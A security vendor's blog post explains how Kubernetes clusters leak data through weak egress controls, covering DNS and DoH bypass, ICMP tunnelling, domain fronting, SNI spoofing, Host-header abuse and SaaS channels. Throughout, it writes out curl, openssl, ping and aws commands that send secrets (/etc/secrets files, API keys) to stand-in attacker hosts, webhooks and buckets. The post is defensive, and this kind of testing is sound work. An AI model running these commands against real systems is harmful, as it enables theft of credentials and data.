Neuwerk Blog

How Most Companies Accidentally Allow Data Exfiltration in Kubernetes

Default network policies stop east-west traffic, but the outbound path is usually wide open and full of blind spots.

The most dangerous security vulnerability in Kubernetes isn’t a CVE. It’s outbound traffic that nobody is really controlling.

Ingress gets all the attention. WAFs, API gateways, mTLS, auth layers, rate limits — we’ve built cathedrals around inbound defense. But outbound? In many clusters it’s still effectively 0.0.0.0/0 on port 443 with a polite hope that workloads behave themselves.

Hope is not a control.

And Kubernetes, for all its elegance, makes accidental data exfiltration surprisingly easy. What follows is a practical tour of the techniques that actually work against typical cluster egress defenses — with concrete examples you can test against your own infrastructure. If even one of these works in your environment, you have a problem worth fixing.


The Default Reality: Everything Can Talk Out

In most clusters, outbound connectivity is wide open. Security Groups allow 443 to the internet. NetworkPolicies might restrict pod-to-pod traffic but often ignore egress entirely. NAT gateways happily translate whatever flows through them. Developers need SaaS APIs, package registries, metrics backends, payment providers — so the path of least resistance wins.

It feels harmless because “it’s all TLS anyway.”

But TLS is confidentiality, not intent validation. An encrypted connection to an attacker-controlled endpoint is still an encrypted connection. Once a pod is compromised — via deserialization bug, RCE in a sidecar, poisoned dependency — the only question that matters is: can it get data out?

You can check this right now from inside any pod:

# Can we reach arbitrary endpoints on 443?
curl -s -o /dev/null -w "%{http_code}" https://httpbin.org/post

# Can we POST arbitrary data to the internet?
echo "SECRET_KEY=ak_live_xxxxx" | curl -s -X POST -d @- https://httpbin.org/post

If that returns 200, your pod can talk to anything on the internet over HTTPS. In many clusters, both commands succeed without a single alert firing.


DNS Filtering Is Easier to Bypass Than People Think

Some teams try to tighten egress with DNS allowlists. Only approved domains resolve, everything else gets blocked. This sounds good in policy documents. In practice, it leaks everywhere.

The most obvious bypass is that DNS-only enforcement doesn’t stop direct IP connections. If you know the IP, you don’t need a name. Malware frequently embeds hard-coded C2 addresses for exactly this reason.

# Bypass DNS filtering entirely — connect by IP
# First, resolve the target elsewhere (your laptop, a public DNS API)
dig +short evil-c2-server.example @8.8.8.8
# 203.0.113.42

# Then connect directly from inside the cluster, no DNS lookup needed
curl -k --resolve evil-c2-server.example:443:203.0.113.42 \
  https://evil-c2-server.example/exfil -d "stolen_data=..."

No DNS query ever hits your internal resolver. No allowlist is consulted. The connection just goes out.

Then there’s DNS over HTTPS (DoH), which encapsulates DNS resolution inside a normal-looking TLS session. If outbound 443 is allowed (and it almost always is), your carefully curated resolver policy can be sidestepped with a single curl:

# Resolve any domain via Cloudflare's DoH endpoint
# From your firewall's perspective, this is just HTTPS to 1.1.1.1
curl -s -H "accept: application/dns-json" \
  "https://cloudflare-dns.com/dns-query?name=evil-c2-server.example&type=A"

That returns the IP in a JSON response. The workload can then connect directly. Your “central DNS policy” never saw the query. And since DoH traffic looks identical to any other HTTPS session to a CDN IP, even flow-level monitoring won’t flag it (unless you’re explicitly blocking known DoH providers, which most setups don’t).

Third, IP addresses are shared across domains. CDNs multiplex hundreds of tenants onto the same address space. Blocking or allowing by IP without context becomes imprecise very quickly. So teams graduate to FQDN-based firewall rules that track DNS-to-IP mappings dynamically. That’s better, but even that is not airtight.


IPs Are Not Stable, Even Mid-Connection

One subtle issue rarely discussed: IP addresses can change during a session lifecycle. Modern clients use connection pooling, retries, Happy Eyeballs, IPv4/IPv6 fallback, and DNS re-resolution. HTTP libraries transparently reconnect. QUIC aggressively migrates connections across network paths. Load balancers rebalance.

If your enforcement logic assumes “IP X was valid for domain Y at time T, therefore the entire flow is safe,” you are trusting that mapping longer than you probably should. Short TTLs, CDN edge churn, and Anycast routing mean IP ownership is fluid. Enforcement engines must track DNS state with precision, expiry, and awareness of connection reuse semantics.

You can see how fast CDN IPs rotate with a simple loop:

# Watch IPs change over time for a CDN-fronted domain
for i in $(seq 1 10); do
  dig +short cdn-hosted-app.example | head -1
  sleep 30
done

On a busy CDN, you’ll often see different IPs within minutes. Any FQDN-to-IP mapping that was “locked in” at resolution time becomes stale almost immediately. Enforcement that doesn’t re-validate continuously is enforcement that drifts.


ICMP Tunneling: The Protocol Nobody Thinks About

Let’s talk about ICMP. It’s often allowed for “network health” — ping works, Path MTU Discovery works, everyone moves on. But ICMP is payload-bearing. Data can be encoded in echo requests and replies, and tools for ICMP tunneling have existed for decades.

Here’s how trivially you can stuff data into a ping:

# Encode data in ICMP echo payload — this is just ping with extra steps
# The -p flag sets the payload pattern (hex-encoded data)
echo -n "SECRET_API_KEY" | xxd -p
# 5345435245545f4150495f4b4559

# Send it as the ICMP echo payload
ping -c 1 -p 5345435245545f4150495f4b4559 203.0.113.42

On the receiving end, a listener captures the ICMP echo payload and decodes it. For larger data, you’d chunk it across multiple pings — there are mature tools like icmpsh and hans that automate this entirely, turning ICMP into a reliable bidirectional tunnel.

Is ICMP tunneling common in commodity malware? No. Is it viable in targeted exfiltration? Absolutely. The point isn’t that every attacker uses it. The point is that most clusters don’t even consider it — and in cloud environments, egress ICMP is rarely scrutinized or rate-limited.


Domain Fronting: When the Host You See Isn’t the Host You Get

Domain fronting is one of those techniques that’s elegant enough to make you a little uncomfortable. It exploits a mismatch between the TLS layer and the HTTP layer: a client initiates a TLS connection to an allowed domain (based on SNI), but then sends an HTTP Host header pointing to a completely different backend that happens to be routed through the same CDN.

The firewall sees “allowed.com” in the TLS ClientHello and lets it through. The CDN’s edge server reads the Host header and routes the request to the real destination. Policy enforcement never sees the actual target.

Here’s what it looks like in practice:

# Domain fronting via curl
# The TLS SNI (--connect-to) says "allowed-cdn-domain.example"
# But the Host header routes to a different backend behind the same CDN
curl -s -H "Host: hidden-backend.example" \
  --connect-to hidden-backend.example:443:allowed-cdn-domain.example:443 \
  https://hidden-backend.example/exfil -d "data=sensitive"

What the firewall sees: a TLS connection to allowed-cdn-domain.example on port 443. What actually happens: the CDN routes the request to hidden-backend.example based on the Host header. The TLS handshake (and SNI) says one thing, the HTTP layer says another, and the CDN helpfully bridges the gap.

Major CDN providers have reduced support for classic domain fronting (mostly for abuse reasons), but variants still exist depending on CDN configuration and edge behavior. Some CDNs only check that the Host header matches some configured domain on their platform, not that it matches the SNI specifically. And newer techniques using HTTP/2 and HTTP/3 connection coalescing open similar possibilities without the exact same mechanism.

The broader issue remains: enforcement at one protocol layer assumes consistency with another. When that assumption breaks, so does your policy. And Kubernetes workloads, with full TCP stacks and modern HTTP clients, can absolutely craft these edge cases.


TLS SNI Spoofing (And Its Limits)

SNI-based filtering is common in cloud firewalls. The approach is straightforward: inspect the TLS ClientHello, extract the SNI hostname, allow or deny based on policy. This works — until it doesn’t.

SNI is a client-provided value. It is not authenticated, not signed, not verified at the network layer. The client can write whatever it wants into that field.

# Connect to any IP while advertising a "safe" SNI
# openssl lets you set SNI independently of the actual target
openssl s_client -connect 203.0.113.42:443 \
  -servername "allowed-domain.example" \
  -quiet 2>/dev/null <<EOF
GET /exfil?data=stolen HTTP/1.1
Host: 203.0.113.42
Connection: close

EOF

In this example, the TLS ClientHello advertises allowed-domain.example as the SNI. Any firewall doing SNI string-matching sees an “approved” domain and lets the connection through. But the actual TCP connection goes to 203.0.113.42, which could be anything.

The server at that IP will likely reject the TLS handshake if its certificate doesn’t cover allowed-domain.example (or it might not, if it’s a server the attacker controls and has configured to accept any SNI). But the point is that the firewall already made its allow decision based on the SNI before the certificate exchange completes.

With curl, you can achieve the same mismatch more concisely:

# curl: connect to one IP, present a different SNI
# -k skips certificate verification (an attacker's server won't have a valid cert for the spoofed name)
curl -k --resolve allowed-domain.example:443:203.0.113.42 \
  https://allowed-domain.example/exfil -d "payload=secret"

From the wire’s perspective, this is a TLS connection with SNI allowed-domain.example going to 203.0.113.42. A firewall that only checks SNI will approve it. A firewall that also correlates the certificate’s SAN with the SNI, and the SNI with the DNS-resolved IP, will catch it. The gap between those two implementations is exactly where policy bypasses live.

Encrypted Client Hello (ECH) makes this even more interesting. When ECH is deployed, the real SNI is encrypted inside the ClientHello, and only a public-facing “outer” SNI is visible to middleboxes. Enforcement based on SNI becomes fundamentally unreliable at that point — you’re filtering on a value designed to hide the actual destination.


Host Header Spoofing Is Not Just a Web App Problem

We tend to think of Host header spoofing as an application-layer vulnerability — something that leads to cache poisoning or virtual host confusion. But it has serious implications for egress controls as well.

If your enforcement allows connections to an IP because it was previously associated with an approved domain, but the application layer routes based on Host headers, you can create mismatches that slip through undetected.

# Step 1: Resolve the "approved" domain to get its CDN IP
dig +short api.approved-saas.example
# 198.51.100.23

# Step 2: Connect to that IP, but send a Host header for a different
# tenant on the same CDN. The CDN routes based on Host, not source IP.
curl -s -H "Host: attacker-tenant.example" \
  --resolve attacker-tenant.example:443:198.51.100.23 \
  https://attacker-tenant.example/receive -d "exfil_data=..."

What happened here: DNS resolution for api.approved-saas.example returned 198.51.100.23. Your firewall allows connections to that IP because the DNS mapping is “known good.” But the attacker connects to the same IP with a Host header pointing to attacker-tenant.example — a completely different customer on the same CDN edge. The CDN happily routes the request to the attacker’s backend.

In shared hosting and CDN environments, isolation between tenants is logical, not physical. Multiple domains resolve to the same IP addresses. Your L3/L4 policy cannot see tenant boundaries. This is not theoretical — it’s literally how multi-tenant CDNs operate. Cloudflare, Fastly, AWS CloudFront — they all serve many domains from the same edge IPs.

The defense here requires correlating DNS queries, resolved IPs, SNI values, and Host headers as a single enforcement unit. If any one of those is checked in isolation, an attacker can create a mismatch that exploits the gap.


QUIC and HTTP/3: Goodbye, Middleboxes

HTTP/3 runs over QUIC, QUIC runs over UDP, and it encrypts most transport metadata that traditional firewalls rely on. Connection IDs abstract away the 5-tuple. Path migration is native. The handshake encrypts more fields earlier in the exchange. Middleboxes see less.

You can verify whether QUIC gets through your egress controls trivially:

# Test if QUIC/HTTP3 works from inside a pod (using curl with HTTP/3 support)
curl --http3-only -s -o /dev/null -w "%{http_code} %{http_version}" \
  https://cloudflare-quic.com/

# Or use the quiche-client to test raw QUIC connectivity
# If this succeeds, UDP 443 is open and QUIC is unfiltered
docker run --rm cloudflare/quiche-client https://cloudflare-quic.com/

If your egress enforcement was tuned for TCP semantics and TLS ClientHello inspection, QUIC changes the game entirely. The initial handshake encrypts the equivalent of what would be the ClientHello in TLS-over-TCP, so SNI-based filtering on the first packet is not straightforward (the SNI is technically visible in QUIC’s initial packet, but the framing is different enough that many firewalls don’t parse it).

Blocking UDP 443 is one answer — and many enterprises quietly do exactly that. But that breaks performance optimizations for legitimate SaaS providers and pushes clients into TCP fallback behavior, which creates its own operational headaches.

Allowing QUIC without deep protocol awareness means you’re trusting encrypted flows with minimal metadata visibility. Most cloud firewalls are still catching up here.


DNS over HTTPS: Policy Inside a Tunnel

DoH deserves its own section because the implications for egress control are so fundamental. If outbound HTTPS is allowed to arbitrary destinations — and again, it almost always is — a workload can completely bypass your internal DNS infrastructure.

# Use Google's DoH endpoint to resolve anything, invisibly
curl -s "https://dns.google/resolve?name=evil-c2.example&type=A" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['Answer'][0]['data'])"
# Returns: 203.0.113.66

# Or use the wire-format DoH endpoint (harder to inspect, looks like opaque POST data)
echo -n "AAABAAABAAAAAAAABGV2aWwtYzIHZXhhbXBsZQAAAQAB" | base64 -d | \
  curl -s -X POST -H "content-type: application/dns-message" \
  --data-binary @- https://cloudflare-dns.com/dns-query | xxd

From your network’s perspective, both of these look like ordinary HTTPS sessions to Google or Cloudflare — domains you almost certainly allow. There’s no DNS query on port 53 that your resolver can see. The workload resolves the domain, gets the IP, and connects directly. Your DNS-based policy is completely out of the loop.

The wire-format variant is particularly tricky because the DNS query is sent as an opaque binary POST body over HTTPS. Even DPI engines that inspect HTTP payloads would need to specifically recognize the application/dns-message content type and decode the DNS wire format to understand what’s being resolved.

This is why serious egress control cannot stop at “we manage our own DNS.” It must bind DNS observation to connection enforcement — ensuring that every outbound connection was preceded by a DNS query that your resolver saw and approved. Any connection to an IP that wasn’t recently resolved through controlled DNS should be suspicious by default.


The Node Compromise Assumption

There’s an uncomfortable truth here: if a Kubernetes node is compromised at root level, host-based enforcement can be tampered with. eBPF programs can be unloaded. iptables rules can be modified. Agents can be killed. If your entire egress policy lives on the node, you are assuming the node remains trustworthy under attack.

That’s not a safe assumption.

True defense-in-depth requires a second trust boundary — typically at the subnet or gateway level — where enforcement cannot be modified by a compromised workload. A dedicated egress gateway that sits outside the blast radius of a node compromise, enforcing policy at a choke point the attacker cannot reach, is the architectural pattern that actually holds up.

Many clusters don’t have that. Not because teams are careless, but because implementing it cleanly across clouds is non-trivial. Network topology, routing, and enforcement need to be coordinated, and most CNI plugins don’t make this easy out of the box.


The SaaS Exfiltration Problem

Even if you perfectly restrict outbound to *.trusted-saas.com, exfiltration can still happen. Attackers don’t need to connect to “evil.com” if they can upload secrets to a storage bucket in your own cloud account, or abuse an allowed SaaS API.

# Exfiltrate data via an "allowed" SaaS endpoint
# If your policy allows *.slack.com, an attacker with a webhook URL can:
curl -s -X POST -H "Content-type: application/json" \
  -d '{"text":"'"$(cat /etc/secrets/db-password)"'"}' \
  https://hooks.slack.com/services/TXXXXX/BXXXXX/XXXXXXXXX

# Or via a public paste service, if *.amazonaws.com is allowed:
aws s3 cp /etc/secrets/credentials s3://attacker-bucket/loot.txt \
  --region us-east-1

Data exfiltration over approved channels is far harder to distinguish from legitimate traffic. From the network’s perspective, it is legitimate traffic — going to an allowed domain, over an allowed port, using an allowed protocol. The intent is just different.

This is where context, identity binding, and behavioral detection become critical. Purely network-layer controls hit their limit when the exfiltration channel is the same one your app uses in production. But that doesn’t mean we abandon network controls. It means we layer them intelligently — network enforcement catches the obvious and the opportunistic, while application-layer and behavioral monitoring catches the sophisticated.


Why This Keeps Happening

Most companies don’t intentionally allow data exfiltration. They arrive there gradually. They open outbound 443 to ship faster. They rely on DNS filtering because it’s easy to explain in a compliance document. They deploy Kubernetes NetworkPolicies but forget egress. They assume mTLS equals safety. They block a few obvious ports and call it done.

Each decision is rational in isolation. Collectively, they create a cluster that can talk to almost anywhere on the internet, with minimal friction, using encrypted protocols that hide intent. From an attacker’s perspective, that’s ideal.


The Way Forward (Without Illusions)

There is no single silver bullet here. Strong egress control in Kubernetes requires default-deny at L3/L4 outside the node, DNS-aware state tracking with tight TTL handling, careful correlation of SNI, certificate SANs, and Host headers, explicit policy for DoH and alternative resolvers, restriction or inspection of non-essential protocols (including ICMP and arbitrary UDP), and integration with workload identity context — not just IP addresses.

And even then, you assume some data may leak via approved channels. So you monitor, detect, and respond.

The exciting part is that the technical primitives exist. eBPF and dpdk gives us programmable datapaths. Cloud routing is flexible. Control planes are API-driven. We can build systems that reason about DNS, transport metadata, and workload identity together — enforcing policy at a layer that’s aware of all the mismatches described above, not just one slice of the stack.

The cautionary part is that complexity scales fast. Every new protocol optimization reduces visibility. Every SaaS dependency widens the allowed surface. ECH will encrypt SNI. QUIC will encrypt transport metadata. DoH will hide DNS queries. The trend line is clear: protocols are getting better at protecting users from surveillance, and that same protection makes network-level enforcement harder.

Kubernetes didn’t create the exfiltration problem. It just amplified the consequences of ignoring outbound control — because suddenly every team can deploy workloads with full network stacks, and the blast radius of a single compromised dependency is a pod that can reach the entire internet.

Right now, most clusters are still ignoring this. Not maliciously, just accidentally. And that’s what makes this such an interesting space. It’s not broken because people don’t care. It’s broken because the ecosystem hasn’t made doing the right thing simple yet.

Which, for engineers who like hard problems, is both a warning and an opportunity.